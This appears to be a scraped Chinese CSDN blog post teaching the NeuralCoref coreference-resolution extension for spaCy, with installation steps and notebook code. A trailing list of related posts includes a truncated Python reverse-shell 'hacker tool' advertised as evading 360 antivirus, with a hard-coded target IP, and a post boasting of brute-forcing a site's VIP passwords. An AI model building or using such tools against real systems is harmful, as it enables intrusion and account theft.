NeuralCoref: python的共指消解工具,向代詞指代的問題進軍!
共指消解 首先簡要地說說共指消解是什麼,有什麼用處。假設機器正在閱讀一個這樣的文字: 克勞德·莫奈是印象派代表人物和創始人之一。 他最重要的風格是改變了陰影和輪廓線的畫法。 1 2 如果機器想要從這段話中瞭解到關於莫奈風格的知識,它首先必須知道,第二句話中的“他”指的就是莫奈。弄清代詞的指代就是共指消解中的一個典型任務。 關於共指消解,更詳細的概念可以參照: https://blog.csdn.net/qjc937044867/article/details/51694547 下面直接引出解決這個問題的一個開源工具——NeuralCoref。 NeuralCoref Github官網:https://github.com/huggingface/neuralcoref NeuralCoref是使用時下先進神經網路技術完成指代消解任務的一個工具。它不是一個獨立的python庫, 而是另一個高速強大的python自然語言處理庫——spaCy的一個拓展包,因此,要使用這個工具首先要安裝spaCy: pip install spacy 1 然後,再安裝NeuralCoref支援的幾個模型,下面的例子中,我會使用面向英語的小模型,安裝方法如下: pip install https://github.com/huggingface/neuralcoref-models/releases/download/en_coref_sm-3.0.0/en_coref_sm-3.0.0.tar.gz 1 如果需要更大的詞彙量和準確率,把連結中的sm改成md/lg就可以下載對應的中模型和大模型。 基本用法 下面用jupyter notebook展示其基本用法:
# coding: utf-8 # In[1]: import warnings warnings.filterwarnings("ignore") import spacy nlp = spacy.load('en_coref_sm') # 引用小的英語指代模型 # In[2]: doc = nlp(u'My sister has a dog. She loves him.') print(doc._.has_coref) # 是否有指代? print(doc._.coref_clusters) # 共指鏈組成的列表 print(doc._.coref_resolved) # 將代詞用指代簇中的主要描述代替後的文字 # 下面的例子中我們可以獲得更多詳細資訊。 # In[3]: doc = nlp(u'My sister has a dog. She loves him') print(doc.text) # 重新獲得文字內容,string物件 for clust in doc._.coref_clusters: clust_id = clust.i # 該指代在本文件中所有指代中的序號 main_mention = clust.main # 主描述,共指鏈中的代表詞語 print("appearance of cluster %d: %s" % (clust_id,main_mention)) for mention in clust.mentions: print("\t%s at [%d,%d]" % (mention.text,mention.start_char,mention.end_char)) # 這個例子揭示了共指消解中的3層的結構,Doc[文件]-cluster[共指鏈,代表同一實體的所有物件]-mention[共指鏈中的描述,實體的一個描述]。其中我們得到了共指鏈的代表詞和每個個別描述在原文中的位置,這些將有助於我們還原文字或幹一些別的事情(儘管已經有了coref_resolved,有時候我們還是需要做出一些特別的修改,後面的一篇文章中我就會用到它們。)。 # 以上例子已經揭示了這個工具的主要功能。這裡再提供一些細節,Document下面有3種結構,下面列出它們支援的方法。 # In[4]: doc = nlp(u'My sister has a dog. She loves him') clust1 = doc._.coref_clusters[1] # Cluster,一個共指鏈 print(clust1.i) # 該指代在本文件中所有指代中的序號 print(clust1.mentions) # 本共指鏈中的所有物件 print(clust1.main) # 主描述,共指鏈中的代表詞語 print(clust1.mentions[-1]._.coref_cluster) # _.coref_cluster【該物件所處的共指鏈】 # In[5]: token = doc[-1] # token,相當於一個詞語 print(token._.in_coref) # 是否在至少一個共指鏈中 print(token._.coref_clusters) # 包括這個token的所有共指鏈 # 遍歷所有token for tok in doc: print(tok,end = " ") print() # In[6]: span = doc[-1:] # span,doc中的一個部分 print(span._.is_coref) # 是否至少包含了一個共指物件 print(span._.coref_cluster.main) print(span._.coref_cluster.main._.coref_cluster)
下一篇文章裡,我會再嘗試共指消解的一個有趣應用: NeuralCoref: 用指代消解來做一個“能多輪對話的問答對話機器人” --------------------- 本文來自 blmoistawinde 的CSDN 部落格 ,全文地址請點選:https://blog.csdn.net/blmoistawinde/article/details/81782971?utm_source=copy
相關推薦
NeuralCoref: python的共指消解工具,向代詞指代的問題進軍!
共指消解 首先簡要地說說共指消解是什麼,有什麼用處。假設機器正在閱讀一個這樣的文字: 克勞德·莫奈是印象派代表人物和創始人之一。 他最重要的風格是改變了陰影和輪廓線的畫法。 1 2 如果機器想要從這段話中瞭解到關於莫奈風格的知識,它首先必須知道,
NLP之共指消解總結
本文僅是對自己所看論文的簡單總結,並不涉及該領域的詳細介紹。 共指的定義 指代是一種常見的語言現象,廣泛存在於自然語言的各種表達中。一般情況下,指代分為 2 種:回指(也稱指示性指代)和共指(也稱同指)。回指是指當前的照應語與上文出現的詞、短語或句子(句群)存
Python寫黑客小工具,360免殺
構思: client:反向連線server,執行shell命令 server:傳送命令,控制客戶端 import subprocess import socket import threading target="172.22.40.41" port=55555 bu
共指消解(coreference resolution)介紹
什麼是共指消解(coreference resolution)? (篇章內)共指消解就是將文章中所有表述劃分為現實世界中不同實體的等價描述。舉個例子:比如一個常見的新聞稿子:…應中華人民共和國總書記,國家主席,國家軍委主席胡錦濤的邀請,美國總統奧巴馬再次訪問中國。…奧巴馬一
關於共指消解中特徵的選取和計算
1.單複數計算模組 先行語:由於先行語是由命名實體識別模組識別出來的,包括人名、地名和組織機構名,因而都是單數;在命名實體識別任務完成後,對人名、地名和組織機構名相同類別的先行語進判別,看先行語之間是否由“和”,“與”,“、”隔開,有的話即把這些同類實體及連線符號一起記錄資
matplotlib | Python強大的作圖工具,讓你從此駕馭圖表
今天是資料處理專題的第9篇文章,在之前的8篇文章當中我們已經介紹完了pandas這個庫的一些基本用法,我們先把一些冷門的高階用法放一放,先來給大家介紹一下另外一個很有用的資料分析庫——matplotlib。 matplotlib簡介 如果你在大學裡參加過數學建模競賽或者是用過MATLAB的話,相比會對這一
matplotlib | Python強大的作圖工具,讓你從此駕馭圖表(二)
今天是資料處理專題的第10篇文章,我們繼續來聊聊matplot這個工具庫。 在上週的文章當中我們介紹了matplot的基本用法,以及展示了一些簡單的例子,讓大家直觀地瞭解這個工具包。我們可以簡單地將它理解成專門用來作圖的工具,但是它作圖的功能又非常強大,以至於並不能當成一個簡單的內容來對待。道理也很簡單,老闆
校園科技|Python監控學生電腦螢幕,自動識別學習狀態!
技術要點 1)使用pillow擴充套件庫進行螢幕截圖; 2)使用多執行緒監聽學生端連線; 3)使用TCP協議傳輸螢幕影象; 學習Python中有不明白推
Python書籍資源,Python中文書籍彙總目錄,將近100本好書!
本人作為Python愛好者,廣泛蒐集了關於Python的書籍,具體包括資料探勘、人工智慧、網路程式設計等,範圍廣,資料全面,多為可編輯的pdf版本,不少都是各學科領域Python經典的書籍。當然論壇也有這些書籍,但是有的書籍較為難找,且大多數需要論壇幣。為此,本人花費大量
經濟學家都用在用Python分析房價走勢了,哪裡跌價買哪裡!
學習Python中有不明白推薦加入交流裙 號:735934841 群裡
最愛的小工具,誰用誰知道!
插件 over 誰知 多窗口 cmder inux pos oba pre 一.windows資源管理 完美解決windows資源管理器單窗口、文件搜索慢的問題 1.clover 為資源管理器增加多標簽頁等等功能 2.Everything 超快的文件搜索工具 二.命令行
用Python暴力破解人家網站,獲取VIP賬戶密碼!
今天極度無聊,不知道爬些什麼,就在各大網站逛啊逛啊,無意中逛到了某小網站,該網站竟然還設定了各種Vip才能使用的特權。我看到了瞬間就怒火中燒,都是些小功能,竟然還要各種充錢。 在這及不理智的情況下,我暴力破解了人家網站。具體思路與步驟如下: 爆破思路與分析: 1
目標檢測必須要OpenCV?10行Python程式碼也能實現,親測好用!
短短10行程式碼就可以實現目標檢測?!本文作者和他的團隊構建了一個名為ImageAI 的Python庫,集成了現今流行的深度學習框架和計算機視覺庫。本文將手把手教你構建自己的第一個目標檢測應用,而且文摘菌已經幫你踩過坑了,親測有效!無人超市、人臉識別、無人駕駛,眾多的使用場景
2018年最具就業前景的7大程式語言:Java、Python、JavaScript前三,PHP也上榜!
程式設計師頭條(ID:CoderTop) 猿妹 編譯原文:http://www.codingdo
轉載《Java 開發手冊》今日釋出,向全球開發者致敬!
致全球Java開發者: 程式碼是二進位制世界的交流方式,極致的程式碼是我們的榮耀。 2017年
推薦一款阿里開源的 Java 診斷工具,好用到爆!
Arthas是什麼鬼? Arthas是一款阿里巴巴開源的 Java 線上診斷工具,功能非常強大,可以解決很多線上不方便解決的問題。
黑馬基礎階段測試題:創建一個存儲字符串的集合list,向list中添加以下字符串:”C++”、”Java”、” Python”、”大數據與雲計算”。遍歷集合,將長度小於5的字符串從集合中刪除,刪除成功後,打印集合中的所有元素
cti ati pac 完成 body ava 字符 c++ rgs package com.swift; import java.util.ArrayList; import java.util.List; import java.util.ListIterator
13個web安全-python網絡測試工具+白帽黑客必備,大神整理,小白可以先收藏起來
Python 爬蟲 黑客 快速入門 進階 Python有很多完善可用的庫,這裏面就包含滲透測試工具,所以廣大白帽黑客大多都使用Python語言,這樣更有利於利用Python提供的這些庫參與漏洞研究、逆向工程和滲透等工作。本文列出13個python網絡測試工具,共大家參考學習。1、Scapy
困擾多年的問題,Python到底是語言,還是工具,哈佛教授完美詮釋
hashset 編譯型 block 解釋器 bit asc 一個 至少 都是 然而,這是一句非常模棱兩可的話。這裏的"Python"到底指的是什麽? 是Python的抽象接口嗎?是Python的通用實現CPython嗎(不要把CPython跟Cytho
烏班圖裡的python工具,Linux系統中pycharm快捷設定
第一步 首先:我們在桌面上開啟終端,右擊或者快捷法,進入終端控制檯。 第二步 &nb